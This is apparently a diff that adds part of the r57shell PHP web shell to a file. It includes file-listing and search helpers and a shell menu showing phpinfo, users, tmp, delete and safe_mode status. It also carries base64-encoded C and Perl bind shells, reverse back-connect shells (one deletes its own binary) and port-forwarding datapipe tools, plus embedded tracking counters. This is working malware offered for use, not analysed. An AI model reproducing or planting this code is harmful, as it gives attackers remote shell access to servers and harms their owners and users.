+ @closedir($handle);
+ @ksort($dirs);
+ @ksort($files);
+ $files = @array_merge($dirs,$files);
+ }
+ return $files;
+ }
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ function DirPrintHTMLHeaders($dir)
+ {
+ $pockets = '';
+ $handle = @opendir($dir) or die("Can't open directory $dir");
+ echo " \n";
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ echo " [ $file ] \n";
+ DirPrintHTMLHeaders($dir."/".$file);
+ }
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,array('.htm','.html')))
+ {
+ $header = '-=None=-';
+ $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
+ for($a=0;$a(.+))';
+ if(@eregi($pattern,$strings[$a],$pockets))
+ {
+ $header = "«".$pockets[2]."»";
+ break;
+ }
+ }
+ echo " ".$header." \n";
+ }
+ }
+ }
+ }
+ echo " \n";
+ @closedir($handle);
+ }
+
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
+GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
+b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
+pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
+NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
+ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
+ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
+7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
+9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
+2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
+dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
+lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
+$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
+VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
+JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
+TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
+lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
+Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
+Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
+lIENPTk47DQpleGl0IDA7DQp9DQp9";
+$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
+aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
+hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
+sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
+kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
+KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
+OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
+BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
+SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
+KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
+sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
+Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
+QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
+Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
+x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
+HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
+aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
+lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
+xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
+W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
+LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
+udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
+0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
+iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
+KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
+gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
+hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
+iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
+ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
+vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
+AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
+QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
+ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
+gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
+wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
+29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
+MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
+gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
+5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
+HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
+dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
+KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
+ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
+E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
+Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
+NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
+J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
+CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
+dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
+gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
+lsZSk7DQogIHJldHVybiAwOw0KfQ==";
+$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
+CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
+bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
+gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
+NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
+iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
+aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
+SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
+xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
+WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
+CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
+yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
+I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
+m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
+IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
+lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
+QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
+CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
+c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
+NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
+UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
+DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
+ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
+1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
+$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
+JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
+lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
+FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L
+3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr
+J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR
+oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj
+xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO
+i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv
+dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB
+ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
+hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";
+$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
+IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
+hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
+tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
+XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
+8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
+ybmV0LS0+";
+echo $head;
+echo '';
+if(empty($_POST['cmd'])) {
+$serv = array(127,192,172,10);
+$addr=@explode('.', $_SERVER['SERVER_ADDR']);
+$current_version = str_replace('.','',$version);
+if (!in_array($addr[0], $serv)) {
+@print " ";
+@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}}
+echo '
+'.ws(1).'
+! '.ws(2).'r57shell '.$version.'
+ ';
+echo ws(2);
+echo "".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo ".$rb;
+echo ws(2).$lb." php.ini ".$rb;
+echo ws(2).$lb." cpu ".$rb;
+echo ws(2).$lb." mem ".$rb;
+if($unix) { echo ws(2).$lb." users ".$rb; }
+echo ws(2).$lb." tmp ".$rb;
+echo ws(2).$lb." delete ".$rb." ";
+echo ws(2);
+echo (($safe_mode)?("safe_mode: ON "):("safe_mode: OFF "));
+echo ws(2);
+echo "PHP version: ".@phpversion()." ";
